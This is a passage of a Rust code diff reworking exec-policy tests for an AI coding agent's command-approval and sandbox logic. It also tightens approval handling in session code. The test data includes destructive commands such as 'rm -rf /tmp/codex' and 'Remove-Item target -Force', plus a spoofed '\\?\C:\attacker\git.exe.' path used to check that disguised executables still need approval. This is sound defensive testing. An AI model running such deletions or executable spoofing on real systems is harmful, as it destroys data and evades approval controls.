+ proposed_execpolicy_amendment: None, + }, + ); +} diff --git a/codex-rs/core/src/exec_policy_tests.rs b/codex-rs/core/src/exec_policy_tests.rs index 2bd998ca2a..a84cfa6ca8 100644 --- a/codex-rs/core/src/exec_policy_tests.rs +++ b/codex-rs/core/src/exec_policy_tests.rs @@ -39,6 +39,10 @@ use toml::Value as TomlValue; #[path = "exec_policy_windows_tests.rs"] mod windows_tests; +#[cfg(windows)] +#[path = "exec_policy_powershell_tests.rs"] +mod powershell_tests; + fn config_stack_for_dot_codex_folder(dot_codex_folder: &Path) -> ConfigLayerStack { let dot_codex_folder = AbsolutePathBuf::from_absolute_path(dot_codex_folder).expect("absolute dot_codex_folder"); @@ -657,7 +661,7 @@ fn commands_for_exec_policy_falls_back_for_empty_shell_script() { let command = vec!["bash".to_string(), "-lc".to_string(), "".to_string()]; assert_eq!( - commands_for_exec_policy(&command, ExecPolicyInputSource::Configured), + commands_for_exec_policy(&command), ExecPolicyCommands { commands: vec![command], used_complex_parsing: false, @@ -675,7 +679,7 @@ fn commands_for_exec_policy_falls_back_for_whitespace_shell_script() { ]; assert_eq!( - commands_for_exec_policy(&command, ExecPolicyInputSource::Configured), + commands_for_exec_policy(&command), ExecPolicyCommands { commands: vec![command], used_complex_parsing: false, @@ -902,7 +906,14 @@ EOF"# }, ExecApprovalRequirement::NeedsApproval { reason: None, - proposed_execpolicy_amendment: None, + proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(vec![ + "zsh".to_string(), + "-lc".to_string(), + r#"cat <<'EOF' > /some/important/folder/test.txt +hello world +EOF"# + .to_string(), + ])), }, ) .await; @@ -1131,196 +1142,6 @@ fn known_safe_on_request_still_prompts_for_restricted_sandbox_escalation() { ); } -#[test] -fn known_safe_sandbox_override_never_uses_the_safelist_to_skip_policy() { - let command = vec!["echo".to_string(), "hello".to_string()]; - let granular = GranularApprovalConfig { - sandbox_approval: true, - rules: true, - skill_approval: true, - request_permissions: true, - mcp_elicitations: true, - }; - - for (approval_policy, expected) in [ - (AskForApproval::OnRequest, Decision::Prompt), - (AskForApproval::UnlessTrusted, Decision::Prompt), - (AskForApproval::Granular(granular), Decision::Prompt), - (AskForApproval::Never, Decision::Forbidden), - ] { - assert_eq!( - expected, - render_decision_for_unmatched_command( - &command, - UnmatchedCommandContext { - approval_policy, - permission_profile: &PermissionProfile::workspace_write(), - windows_sandbox_level: WindowsSandboxLevel::RestrictedToken, - sandbox_permissions: SandboxPermissions::RequireEscalated, - used_complex_parsing: false, - command_origin: ExecPolicyCommandOrigin::Generic, - }, - ) - ); - } -} - -#[tokio::test] -async fn direct_and_fake_outer_shell_escalations_require_approval_without_amendments() { - for command in [ - vec!["./ls".to_string()], - vec!["./zsh".to_string(), "-c".to_string(), "ls".to_string()], - vec![ - "/tmp/workspace/zsh".to_string(), - "-c".to_string(), - "ls".to_string(), - ], - ] { - assert_exec_approval_requirement_for_command( - ExecApprovalRequirementScenario { - policy_src: None, - command, - approval_policy: AskForApproval::OnRequest, - permission_profile: PermissionProfile::workspace_write(), - sandbox_permissions: SandboxPermissions::RequireEscalated, - prefix_rule: None, - }, - ExecApprovalRequirement::NeedsApproval { - reason: None, - proposed_execpolicy_amendment: None, - }, - ) - .await; - } -} - -#[tokio::test] -async fn model_selected_shell_suppresses_inner_command_amendment() { - let manager = ExecPolicyManager::default(); - - for (command, input_source) in [ - ( - vec![ - "bash".to_string(), - "-lc".to_string(), - "touch marker".to_string(), - ], - ExecPolicyInputSource::ModelSelectedBare, - ), - ( - vec![ - "/tmp/workspace/bash".to_string(), - "-lc".to_string(), - "touch marker".to_string(), - ], - ExecPolicyInputSource::ModelSelectedPath, - ), - ] { - let requirement = manager - .create_exec_approval_requirement_for_command(ExecApprovalRequest { - command: &command, - approval_policy: AskForApproval::UnlessTrusted, - permission_profile: PermissionProfile::read_only(), - windows_sandbox_level: WindowsSandboxLevel::RestrictedToken, - sandbox_permissions: SandboxPermissions::UseDefault, - prefix_rule: None, - input_source, - }) - .await; - - assert_eq!( - requirement, - ExecApprovalRequirement::NeedsApproval { - reason: None, - proposed_execpolicy_amendment: None, - } - ); - } -} - -#[tokio::test] -async fn path_qualified_outer_shell_is_not_inherited_from_a_safe_inner_command() { - for (command, input_source) in [ - ( - vec![ - "/bin/sh".to_string(), - "-lc".to_string(), - "./zsh -c ls".to_string(), - ], - ExecPolicyInputSource::Configured, - ), - ( - vec![ - "/tmp/workspace/bash".to_string(), - "-lc".to_string(), - "ls".to_string(), - ], - ExecPolicyInputSource::ModelSelectedPath, - ), - ] { - let requirement = ExecPolicyManager::default() - .create_exec_approval_requirement_for_command(ExecApprovalRequest { - command: &command, - approval_policy: AskForApproval::UnlessTrusted, - permission_profile: PermissionProfile::workspace_write(), - windows_sandbox_level: WindowsSandboxLevel::RestrictedToken, - sandbox_permissions: SandboxPermissions::UseDefault, - prefix_rule: None, - input_source, - }) - .await; - - assert_eq!( - requirement, - ExecApprovalRequirement::NeedsApproval { - reason: None, - proposed_execpolicy_amendment: None, - } - ); - } -} - -#[test] -fn path_qualified_shell_detection_handles_unix_and_windows_spellings() { - for bare_shell in ["bash", "zsh", "sh", "bash.exe", "powershell.exe"] { - assert!(!shell_executable_is_path_qualified(bare_shell)); - } - - for path_shell in [ - "./bash", - "../zsh", - "/bin/sh", - r".\bash.exe", - r"C:\workspace\bash.exe", - r"C:bash.exe", - r"\\server\share\powershell.exe", - ] { - assert!(shell_executable_is_path_qualified(path_shell)); - } -} - -#[tokio::test] -async fn non_escalated_known_safe_command_keeps_existing_sandboxed_behavior() { - assert_exec_approval_requirement_for_command( - ExecApprovalRequirementScenario { - policy_src: None, - command: vec!["echo".to_string(), "hello".to_string()], - approval_policy: AskForApproval::OnRequest, - permission_profile: PermissionProfile::workspace_write(), - sandbox_permissions: SandboxPermissions::UseDefault, - prefix_rule: None, - }, - ExecApprovalRequirement::Skip { - bypass_sandbox: false, - proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(vec![ - "echo".to_string(), - "hello".to_string(), - ])), - }, - ) - .await; -} - #[test] fn managed_cwd_write_profile_has_filesystem_restrictions() { let file_system_sandbox_policy = FileSystemSandboxPolicy::restricted(vec![ @@ -1412,7 +1233,10 @@ async fn exec_approval_requirement_prompts_for_inline_additional_permissions_und }, ExecApprovalRequirement::NeedsApproval { reason: None, - proposed_execpolicy_amendment: None, + proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(vec![ + "touch".to_string(), + "requested-dir/requested-but-unused.txt".to_string(), + ])), }, ) .await; @@ -1431,7 +1255,10 @@ async fn exec_approval_requirement_prompts_for_known_safe_escalation_under_on_re }, ExecApprovalRequirement::NeedsApproval { reason: None, - proposed_execpolicy_amendment: None, + proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(vec![ + "echo".to_string(), + "hello".to_string(), + ])), }, ) .await; @@ -1488,81 +1315,61 @@ async fn exec_approval_requirement_rejects_unmatched_sandbox_escalation_when_gra } #[tokio::test] -async fn mixed_rule_and_sandbox_prompt_prioritizes_rule_for_rejection_decision() { +async fn mixed_rule_and_sandbox_prompt_requires_every_granular_category_in_either_order() { let policy_src = r#"prefix_rule(pattern=["git"], decision="prompt")"#; let mut parser = PolicyParser::new(); parser .parse("test.rules", policy_src) .expect("parse policy"); let manager = ExecPolicyManager::new(Arc::new(parser.build())); - let command = vec![ - "bash".to_string(), - "-lc".to_string(), - "git status && madeup-cmd".to_string(), + let cases = [ + ("rule then sandbox", "git status && madeup-cmd"), + ("sandbox then rule", "madeup-cmd && git status"), ]; - let requirement = manager - .create_exec_approval_requirement_for_command(ExecApprovalRequest { - command: &command, - approval_policy: AskForApproval::Granular(GranularApprovalConfig { - sandbox_approval: true, - rules: true, - skill_approval: true, - request_permissions: true, - mcp_elicitations: true, - }), - permission_profile: PermissionProfile::read_only(), - windows_sandbox_level: WindowsSandboxLevel::Disabled, - sandbox_permissions: SandboxPermissions::RequireEscalated, - prefix_rule: None, - input_source: ExecPolicyInputSource::Configured, - }) - .await; + for (order, script) in cases { + let command = vec!["bash".to_string(), "-lc".to_string(), script.to_string()]; + for (rules, sandbox_approval, expected_rejection) in [ + (false, false, Some(REJECT_RULES_APPROVAL_REASON)), + (false, true, Some(REJECT_RULES_APPROVAL_REASON)), + (true, false, Some(REJECT_SANDBOX_APPROVAL_REASON)), + (true, true, None), + ] { + let requirement = manager + .create_exec_approval_requirement_for_command(ExecApprovalRequest { + command: &command, + approval_policy: AskForApproval::Granular(GranularApprovalConfig { + sandbox_approval, + rules, + skill_approval: true, + request_permissions: true, + mcp_elicitations: true, + }), + permission_profile: PermissionProfile::read_only(), + windows_sandbox_level: WindowsSandboxLevel::Disabled, + sandbox_permissions: SandboxPermissions::RequireEscalated, + prefix_rule: None, + }) + .await; + let expected = match expected_rejection { + Some(reason) => ExecApprovalRequirement::Forbidden { + reason: reason.to_string(), + }, + None => ExecApprovalRequirement::NeedsApproval { + reason: Some(format!( + "`{}` requires approval by policy", + render_shlex_command(&command) + )), + proposed_execpolicy_amendment: None, + }, + }; - assert!(matches!( - requirement, - ExecApprovalRequirement::NeedsApproval { .. } - )); -} - -#[tokio::test] -async fn mixed_rule_and_sandbox_prompt_rejects_when_granular_rules_are_disabled() { - let policy_src = r#"prefix_rule(pattern=["git"], decision="prompt")"#; - let mut parser = PolicyParser::new(); - parser - .parse("test.rules", policy_src) - .expect("parse policy"); - let manager = ExecPolicyManager::new(Arc::new(parser.build())); - let command = vec![ - "bash".to_string(), - "-lc".to_string(), - "git status && madeup-cmd".to_string(), - ]; - - let requirement = manager - .create_exec_approval_requirement_for_command(ExecApprovalRequest { - command: &command, - approval_policy: AskForApproval::Granular(GranularApprovalConfig { - sandbox_approval: true, - rules: false, - skill_approval: true, - request_permissions: true, - mcp_elicitations: true, - }), - permission_profile: PermissionProfile::read_only(), - windows_sandbox_level: WindowsSandboxLevel::Disabled, - sandbox_permissions: SandboxPermissions::RequireEscalated, - prefix_rule: None, - input_source: ExecPolicyInputSource::Configured, - }) - .await; - - assert_eq!( - requirement, - ExecApprovalRequirement::Forbidden { - reason: REJECT_RULES_APPROVAL_REASON.to_string(), + assert_eq!( + requirement, expected, + "{order} with rules={rules} and sandbox_approval={sandbox_approval}", + ); } - ); + } } #[tokio::test] @@ -1578,7 +1385,6 @@ async fn exec_approval_requirement_falls_back_to_heuristics() { windows_sandbox_level: WindowsSandboxLevel::Disabled, sandbox_permissions: SandboxPermissions::UseDefault, prefix_rule: None, - input_source: ExecPolicyInputSource::Configured, }) .await; @@ -1604,7 +1410,6 @@ async fn empty_bash_lc_script_falls_back_to_original_command() { windows_sandbox_level: WindowsSandboxLevel::Disabled, sandbox_permissions: SandboxPermissions::UseDefault, prefix_rule: None, - input_source: ExecPolicyInputSource::Configured, }) .await; @@ -1634,7 +1439,6 @@ async fn whitespace_bash_lc_script_falls_back_to_original_command() { windows_sandbox_level: WindowsSandboxLevel::Disabled, sandbox_permissions: SandboxPermissions::UseDefault, prefix_rule: None, - input_source: ExecPolicyInputSource::Configured, }) .await; @@ -1664,7 +1468,6 @@ async fn request_rule_uses_prefix_rule() { windows_sandbox_level: WindowsSandboxLevel::Disabled, sandbox_permissions: SandboxPermissions::RequireEscalated, prefix_rule: Some(vec!["cargo".to_string(), "install".to_string()]), - input_source: ExecPolicyInputSource::Configured, }) .await; @@ -1672,7 +1475,10 @@ async fn request_rule_uses_prefix_rule() { requirement, ExecApprovalRequirement::NeedsApproval { reason: None, - proposed_execpolicy_amendment: None, + proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(vec![ + "cargo".to_string(), + "install".to_string(), + ])), } ); } @@ -1694,7 +1500,6 @@ async fn request_rule_falls_back_when_prefix_rule_does_not_approve_all_commands( windows_sandbox_level: WindowsSandboxLevel::Disabled, sandbox_permissions: SandboxPermissions::RequireEscalated, prefix_rule: Some(vec!["cargo".to_string(), "install".to_string()]), - input_source: ExecPolicyInputSource::Configured, }) .await; @@ -1702,7 +1507,11 @@ async fn request_rule_falls_back_when_prefix_rule_does_not_approve_all_commands( requirement, ExecApprovalRequirement::NeedsApproval { reason: None, - proposed_execpolicy_amendment: None, + proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(vec![ + "rm".to_string(), + "-rf".to_string(), + "/tmp/codex".to_string(), + ])), } ); } @@ -1730,7 +1539,6 @@ async fn heuristics_apply_when_other_commands_match_policy() { windows_sandbox_level: WindowsSandboxLevel::Disabled, sandbox_permissions: SandboxPermissions::UseDefault, prefix_rule: None, - input_source: ExecPolicyInputSource::Configured, }) .await, ExecApprovalRequirement::NeedsApproval { @@ -2185,12 +1993,13 @@ async fn verify_approval_requirement_for_unsafe_powershell_command() { ]))); let (pwsh_approval_reason, expected_req) = if cfg!(windows) { ( - r#"On Windows, SandboxPolicy::ReadOnly should be assumed to mean - that no sandbox is present, so anything that is not "provably - safe" should require approval."#, - ExecApprovalRequirement::NeedsApproval { - reason: None, - proposed_execpolicy_amendment: expected_amendment.clone(), + "On Windows, an untrusted PowerShell wrapper that cannot be inspected is rejected.", + ExecApprovalRequirement::Forbidden { + reason: format!( + "`{}` rejected: an untrusted PowerShell wrapper could not be inspected with \ + the protected system parser", + render_shlex_command(&sneaky_command) + ), }, ) } else { @@ -2212,7 +2021,6 @@ async fn verify_approval_requirement_for_unsafe_powershell_command() { windows_sandbox_level: WindowsSandboxLevel::Disabled, sandbox_permissions: permissions, prefix_rule: None, - input_source: ExecPolicyInputSource::Configured, }) .await, "{pwsh_approval_reason}" @@ -2237,7 +2045,6 @@ async fn verify_approval_requirement_for_unsafe_powershell_command() { windows_sandbox_level: WindowsSandboxLevel::Disabled, sandbox_permissions: permissions, prefix_rule: None, - input_source: ExecPolicyInputSource::Configured, }) .await, r#"On all platforms, a forbidden command should require approval @@ -2258,7 +2065,6 @@ async fn verify_approval_requirement_for_unsafe_powershell_command() { windows_sandbox_level: WindowsSandboxLevel::Disabled, sandbox_permissions: permissions, prefix_rule: None, - input_source: ExecPolicyInputSource::Configured, }) .await, r#"On all platforms, a forbidden command should require approval @@ -2354,7 +2160,6 @@ async fn exec_approval_requirement_for_command( windows_sandbox_level: WindowsSandboxLevel::RestrictedToken, sandbox_permissions, prefix_rule, - input_source: ExecPolicyInputSource::Configured, }) .await } diff --git a/codex-rs/core/src/exec_policy_windows_tests.rs b/codex-rs/core/src/exec_policy_windows_tests.rs index 7636d4c832..286efec211 100644 --- a/codex-rs/core/src/exec_policy_windows_tests.rs +++ b/codex-rs/core/src/exec_policy_windows_tests.rs @@ -1,5 +1,89 @@ use super::*; use pretty_assertions::assert_eq; +use std::sync::LazyLock; + +static TRUSTED_WINDOWS_POWERSHELL_EXE: LazyLock = LazyLock::new(|| { + codex_shell_command::powershell::try_find_powershell_executable_blocking() + .expect("Windows PowerShell must be installed") + .as_path() + .to_str() + .expect("the Windows PowerShell path must be valid UTF-8") + .to_string() +}); + +fn powershell_command(script: &str) -> Vec { + vec![ + TRUSTED_WINDOWS_POWERSHELL_EXE.to_string(), + "-NoProfile".to_string(), + "-Command".to_string(), + script.to_string(), + ] +} + +fn prefix_rule_for(command: &[String], decision: &str) -> String { + let pattern = command + .iter() + .map(|word| format!(r#""{}""#, starlark_string(word))) + .collect::>() + .join(", "); + format!(r#"prefix_rule(pattern=[{pattern}], decision="{decision}")"#) +} + +fn skip_outer(command: &[String], bypass_sandbox: bool) -> ExecApprovalRequirement { + ExecApprovalRequirement::Skip { + bypass_sandbox, + proposed_execpolicy_amendment: (!bypass_sandbox) + .then(|| ExecPolicyAmendment::new(command.to_vec())), + } +} + +fn prompt_outer(command: &[String]) -> ExecApprovalRequirement { + ExecApprovalRequirement::NeedsApproval { + reason: None, + proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(command.to_vec())), + } +} + +async fn windows_requirement( + policy_src: String, + command: &[String], + approval_policy: AskForApproval, + permission_profile: PermissionProfile, + windows_sandbox_level: WindowsSandboxLevel, + sandbox_permissions: SandboxPermissions, +) -> ExecApprovalRequirement { + ExecPolicyManager::new(policy_from_src(Some(&policy_src))) + .create_exec_approval_requirement_for_command(ExecApprovalRequest { + command, + approval_policy, + permission_profile, + windows_sandbox_level, + sandbox_permissions, + prefix_rule: None, + }) + .await +} + +async fn default_windows_requirement( + policy_src: String, + command: &[String], +) -> ExecApprovalRequirement { + windows_requirement( + policy_src, + command, + AskForApproval::UnlessTrusted, + PermissionProfile::read_only(), + WindowsSandboxLevel::RestrictedToken, + SandboxPermissions::UseDefault, + ) + .await +} + +fn external_profile() -> PermissionProfile { + PermissionProfile::External { + network: NetworkSandboxPolicy::Restricted, + } +} #[tokio::test] async fn evaluates_powershell_inner_commands_against_prompt_rules() { @@ -7,7 +91,7 @@ async fn evaluates_powershell_inner_commands_against_prompt_rules() { ExecApprovalRequirementScenario { policy_src: Some(r#"prefix_rule(pattern=["echo"], decision="prompt")"#.to_string()), command: vec![ - "powershell.exe".to_string(), + TRUSTED_WINDOWS_POWERSHELL_EXE.to_string(), "-NoProfile".to_string(), "-Command".to_string(), "echo blocked".to_string(), @@ -25,31 +109,302 @@ async fn evaluates_powershell_inner_commands_against_prompt_rules() { } #[tokio::test] -async fn evaluates_powershell_inner_commands_against_allow_rules() { - assert_exec_approval_requirement_for_command( - ExecApprovalRequirementScenario { - policy_src: Some(r#"prefix_rule(pattern=["echo"], decision="allow")"#.to_string()), - command: vec![ - "powershell.exe".to_string(), - "-NoProfile".to_string(), - "-Command".to_string(), - "echo blocked".to_string(), - ], - approval_policy: AskForApproval::UnlessTrusted, - permission_profile: PermissionProfile::read_only(), - sandbox_permissions: SandboxPermissions::UseDefault, - prefix_rule: None, - }, - ExecApprovalRequirement::Skip { - bypass_sandbox: true, - proposed_execpolicy_amendment: None, - }, - ) +async fn inner_allows_for_runtime_resolved_names_remain_sandboxed() { + for (script, inner) in [ + ("echo blocked", "echo"), + ("Get-Content Cargo.toml", "Get-Content"), + ("Invoke-ProfileHook test", "Invoke-ProfileHook"), + ("codex-path-helper --version", "codex-path-helper"), + ] { + let command = powershell_command(script); + assert_eq!( + default_windows_requirement( + format!(r#"prefix_rule(pattern=["{inner}"], decision="allow")"#), + &command, + ) + .await, + skip_outer(&command, false), + ); + } +} + +#[tokio::test] +async fn only_exact_outer_rules_can_bypass_runtime_resolution() { + let command = powershell_command("Remove-Item target -Force"); + let executable = starlark_string(&command[0]); + let rest = command[1..] + .iter() + .map(|word| format!(r#""{}""#, starlark_string(word))) + .collect::>() + .join(", "); + let mismatched = powershell_command("Remove-Item other -Force"); + let cases = [ + (prefix_rule_for(&command[..1], "allow"), Some(false)), + (prefix_rule_for(&command, "allow"), Some(true)), + ( + format!( + "host_executable(name = \"powershell\", paths = [\"{executable}\"])\n\ + prefix_rule(pattern=[\"powershell\", {rest}], decision=\"allow\")" + ), + Some(true), + ), + ( + format!( + "prefix_rule(pattern=[[\"{executable}\", \"C:\\\\other\\\\powershell.exe\"], \ + [\"-NoProfile\", \"-noprofile\"], \"-Command\", \ + \"Remove-Item target -Force\"], decision=\"allow\")" + ), + Some(true), + ), + (prefix_rule_for(&mismatched, "allow"), None), + ]; + + for (policy_src, bypass_sandbox) in cases { + assert_eq!( + default_windows_requirement(policy_src, &command).await, + bypass_sandbox.map_or_else( + || prompt_outer(&command), + |bypass| skip_outer(&command, bypass) + ), + ); + } +} + +#[tokio::test] +async fn full_outer_allow_does_not_bypass_extended_unsupported_wrapper() { + use SandboxPermissions::*; + use WindowsSandboxLevel::*; + + let command = powershell_command("Get-Content Cargo.toml"); + let policy_src = prefix_rule_for(&command, "allow"); + let mut extended = command.clone(); + extended.push("trailing-runtime-argument".to_string()); + + for (profile, level, permissions, prompts) in [ + ( + PermissionProfile::read_only(), + RestrictedToken, + UseDefault, + false, + ), + ( + PermissionProfile::read_only(), + RestrictedToken, + RequireEscalated, + true, + ), + ( + PermissionProfile::read_only(), + RestrictedToken, + WithAdditionalPermissions, + true, + ), + (PermissionProfile::read_only(), Disabled, UseDefault, true), + ( + PermissionProfile::Disabled, + RestrictedToken, + UseDefault, + false, + ), + ] { + assert_eq!( + windows_requirement( + policy_src.clone(), + &extended, + AskForApproval::UnlessTrusted, + profile, + level, + permissions, + ) + .await, + if prompts { + prompt_outer(&extended) + } else { + skip_outer(&extended, false) + }, + ); + } +} + +#[tokio::test] +async fn explicit_inner_and_outer_restrictions_remain_strictest() { + let command = powershell_command("Get-Content Cargo.toml"); + let outer_allow = prefix_rule_for(&command, "allow"); + let inner_allow = r#"prefix_rule(pattern=["Get-Content"], decision="allow")"#; + let rendered = render_shlex_command(&command); + + for (inner, decision) in [ + (true, "prompt"), + (true, "forbidden"), + (false, "prompt"), + (false, "forbidden"), + ] { + let (policy_src, forbidden_prefix) = if inner { + ( + format!( + "{outer_allow}\nprefix_rule(pattern=[\"Get-Content\"], decision=\"{decision}\")" + ), + "Get-Content".to_string(), + ) + } else { + ( + format!("{inner_allow}\n{}", prefix_rule_for(&command, decision)), + rendered.clone(), + ) + }; + let expected = if decision == "prompt" { + ExecApprovalRequirement::NeedsApproval { + reason: Some(format!("`{rendered}` requires approval by policy")), + proposed_execpolicy_amendment: None, + } + } else { + ExecApprovalRequirement::Forbidden { + reason: format!( + "`{rendered}` rejected: policy forbids commands starting with `{forbidden_prefix}`" + ), + } + }; + assert_eq!( + windows_requirement( + policy_src, + &command, + AskForApproval::OnRequest, + PermissionProfile::read_only(), + WindowsSandboxLevel::RestrictedToken, + SandboxPermissions::UseDefault, + ) + .await, + expected, + ); + } +} + +#[tokio::test] +async fn outer_authority_tracks_permission_deltas_and_missing_managed_sandbox() { + use SandboxPermissions::*; + use WindowsSandboxLevel::*; + + let command = powershell_command("Get-Content Cargo.toml"); + let inner_allow = r#"prefix_rule(pattern=["Get-Content"], decision="allow")"#.to_string(); + let denied_read_profile = PermissionProfile::from_runtime_permissions( + &FileSystemSandboxPolicy::restricted(vec![FileSystemSandboxEntry { + path: FileSystemPath::GlobPattern { + pattern: "**/*.env".to_string(), + }, + access: FileSystemAccessMode::Deny, + }]), + NetworkSandboxPolicy::Restricted, + ); + + for (profile, level, permissions, prompts) in [ + ( + PermissionProfile::read_only(), + RestrictedToken, + RequireEscalated, + true, + ), + (PermissionProfile::read_only(), Disabled, UseDefault, true), + ( + denied_read_profile, + RestrictedToken, + RequireEscalated, + false, + ), + ( + PermissionProfile::read_only(), + RestrictedToken, + WithAdditionalPermissions, + true, + ), + ( + PermissionProfile::Disabled, + RestrictedToken, + RequireEscalated, + false, + ), + ( + PermissionProfile::Disabled, + RestrictedToken, + WithAdditionalPermissions, + false, + ), + (external_profile(), RestrictedToken, UseDefault, false), + (external_profile(), RestrictedToken, RequireEscalated, true), + ( + external_profile(), + RestrictedToken, + WithAdditionalPermissions, + true, + ), + ] { + assert_eq!( + windows_requirement( + inner_allow.clone(), + &command, + AskForApproval::OnRequest, + profile, + level, + permissions, + ) + .await, + if prompts { + prompt_outer(&command) + } else { + skip_outer(&command, false) + }, + ); + } + + let exact_allow = format!("{inner_allow}\n{}", prefix_rule_for(&command, "allow")); + for (level, permissions) in [ + (RestrictedToken, RequireEscalated), + (RestrictedToken, WithAdditionalPermissions), + (Disabled, UseDefault), + ] { + assert_eq!( + windows_requirement( + exact_allow.clone(), + &command, + AskForApproval::OnRequest, + PermissionProfile::read_only(), + level, + permissions, + ) + .await, + skip_outer(&command, true), + ); + } +} + +#[tokio::test] +async fn namespace_literal_alias_with_equivalent_host_mapping_requires_approval() { + let requirement = exec_approval_requirement_for_command(ExecApprovalRequirementScenario { + policy_src: Some( + r#" +prefix_rule(pattern = ["git.exe."], decision = "allow") +host_executable(name = "git", paths = ["C:\\trusted\\git.exe"]) +"# + .to_string(), + ), + command: vec![ + r"\\?\C:\attacker\git.exe.".to_string(), + "status".to_string(), + ], + approval_policy: AskForApproval::UnlessTrusted, + permission_profile: PermissionProfile::Disabled, + sandbox_permissions: SandboxPermissions::UseDefault, + prefix_rule: None, + }) .await; + + assert!( + matches!(&requirement, ExecApprovalRequirement::NeedsApproval { .. }), + "namespace executable outside the mapped paths must require approval: {requirement:?}" + ); } #[test] -fn commands_for_exec_policy_parses_powershell_shell_wrapper() { +fn commands_for_exec_policy_keeps_bare_powershell_alias_opaque() { let command = vec![ "powershell.exe".to_string(), "-NoProfile".to_string(), @@ -58,11 +413,11 @@ fn commands_for_exec_policy_parses_powershell_shell_wrapper() { ]; assert_eq!( - commands_for_exec_policy(&command, ExecPolicyInputSource::Configured), + commands_for_exec_policy(&command), ExecPolicyCommands { - commands: vec![vec!["echo".to_string(), "blocked".to_string()]], + commands: vec![command], used_complex_parsing: false, - command_origin: ExecPolicyCommandOrigin::PowerShell, + command_origin: ExecPolicyCommandOrigin::Generic, } ); } @@ -173,21 +528,12 @@ fn writable_windows_policy_without_sandbox_backend_still_requires_approval() { #[tokio::test] async fn unmatched_dangerous_powershell_inner_commands_require_approval() { - let inner_command = vec![ - "Remove-Item".to_string(), - "test".to_string(), - "-Force".to_string(), - ]; + let command = powershell_command("Remove-Item test -Force"); assert_exec_approval_requirement_for_command( ExecApprovalRequirementScenario { policy_src: None, - command: vec![ - "powershell.exe".to_string(), - "-NoProfile".to_string(), - "-Command".to_string(), - "Remove-Item test -Force".to_string(), - ], + command: command.clone(), approval_policy: AskForApproval::OnRequest, permission_profile: PermissionProfile::Disabled, sandbox_permissions: SandboxPermissions::UseDefault, @@ -195,7 +541,28 @@ async fn unmatched_dangerous_powershell_inner_commands_require_approval() { }, ExecApprovalRequirement::NeedsApproval { reason: None, - proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(inner_command)), + proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(command)), + }, + ) + .await; +} + +#[tokio::test] +async fn mixed_powershell_inner_commands_use_the_strictest_decision() { + let command = powershell_command("echo safe; Remove-Item target -Force"); + + assert_exec_approval_requirement_for_command( + ExecApprovalRequirementScenario { + policy_src: Some(r#"prefix_rule(pattern=["echo"], decision="allow")"#.to_string()), + command: command.clone(), + approval_policy: AskForApproval::OnRequest, + permission_profile: PermissionProfile::Disabled, + sandbox_permissions: SandboxPermissions::UseDefault, + prefix_rule: None, + }, + ExecApprovalRequirement::NeedsApproval { + reason: None, + proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(command)), }, ) .await; diff --git a/codex-rs/core/src/lib.rs b/codex-rs/core/src/lib.rs index e9b749fea9..df8753a386 100644 --- a/codex-rs/core/src/lib.rs +++ b/codex-rs/core/src/lib.rs @@ -31,6 +31,7 @@ pub use codex_thread::TryStartTurnIfIdleError; pub use codex_thread::TryStartTurnIfIdleRejectionReason; pub use session::turn_context::TurnContext; mod agent; +mod agent_communication; mod attestation; mod codex_delegate; mod command_canonicalization; diff --git a/codex-rs/core/src/session/handlers.rs b/codex-rs/core/src/session/handlers.rs index a483ce5e0f..785752fe7b 100644 --- a/codex-rs/core/src/session/handlers.rs +++ b/codex-rs/core/src/session/handlers.rs @@ -285,6 +285,7 @@ pub async fn inter_agent_communication( sess.input_queue .enqueue_mailbox_communication(communication) .await; + crate::agent_communication::emit_agent_communication_receive(&sub_id); if trigger_turn { sess.maybe_start_turn_for_pending_work_with_sub_id(sub_id) .await; @@ -366,6 +367,19 @@ pub async fn exec_approval( turn_id: Option, decision: ReviewDecision, ) { + let Some(pending_approval) = sess.take_pending_exec_approval(&approval_id).await else { + warn!("No pending exec approval found for call_id: {approval_id}"); + return; + }; + let decision = if pending_approval.accepts(&decision) { + decision + } else { + warn!( + approval_id, + "rejecting decision that was not offered for approval request" + ); + ReviewDecision::Denied + }; let event_turn_id = turn_id.unwrap_or_else(|| approval_id.clone()); if let ReviewDecision::ApprovedExecpolicyAmendment { proposed_execpolicy_amendment, @@ -398,16 +412,29 @@ pub async fn exec_approval( ReviewDecision::Abort => { sess.interrupt_task().await; } - other => sess.notify_approval(&approval_id, other).await, + other => pending_approval.send(other), } } pub async fn patch_approval(sess: &Arc, id: String, decision: ReviewDecision) { + let Some(pending_approval) = sess.take_pending_patch_approval(&id).await else { + warn!("No pending patch approval found for call_id: {id}"); + return; + }; + let decision = if pending_approval.accepts(&decision) { + decision + } else { + warn!( + approval_id = id, + "rejecting decision that was not offered for patch approval request" + ); + ReviewDecision::Denied + }; match decision { ReviewDecision::Abort => { sess.interrupt_task().await; } - other => sess.notify_approval(&id, other).await, + other => pending_approval.send(other), } } diff --git a/codex-rs/core/src/session/mod.rs b/codex-rs/core/src/session/mod.rs index d43724e5db..ebb11fcfca 100644 --- a/codex-rs/core/src/session/mod.rs +++ b/codex-rs/core/src/session/mod.rs @@ -14,6 +14,8 @@ use crate::agent::AgentControl; use crate::agent::AgentStatus; use crate::agent::agent_status_from_event; use crate::agent::status::is_final; +use crate::agent_communication::AgentCommunicationContext; +use crate::agent_communication::AgentCommunicationKind; use crate::attestation::AttestationProvider; use crate::build_available_skills; use crate::compact; @@ -92,7 +94,6 @@ use codex_protocol::approvals::NetworkPolicyRuleAction; use codex_protocol::config_types::ApprovalsReviewer; use codex_protocol::config_types::AutoCompactTokenLimitScope; use codex_protocol::config_types::ModeKind; -use codex_protocol::config_types::MultiAgentMode; use codex_protocol::config_types::SERVICE_TIER_DEFAULT_REQUEST_VALUE; use codex_protocol::config_types::Settings; use codex_protocol::config_types::WebSearchMode; @@ -354,6 +355,7 @@ use codex_protocol::protocol::DeprecationNoticeEvent; use codex_protocol::protocol::ErrorEvent; use codex_protocol::protocol::Event; use codex_protocol::protocol::EventMsg; +use codex_protocol::protocol::ExecApprovalPurpose; use codex_protocol::protocol::ExecApprovalRequestEvent; use codex_protocol::protocol::InitialHistory; use codex_protocol::protocol::McpServerRefreshConfig; @@ -979,6 +981,28 @@ fn 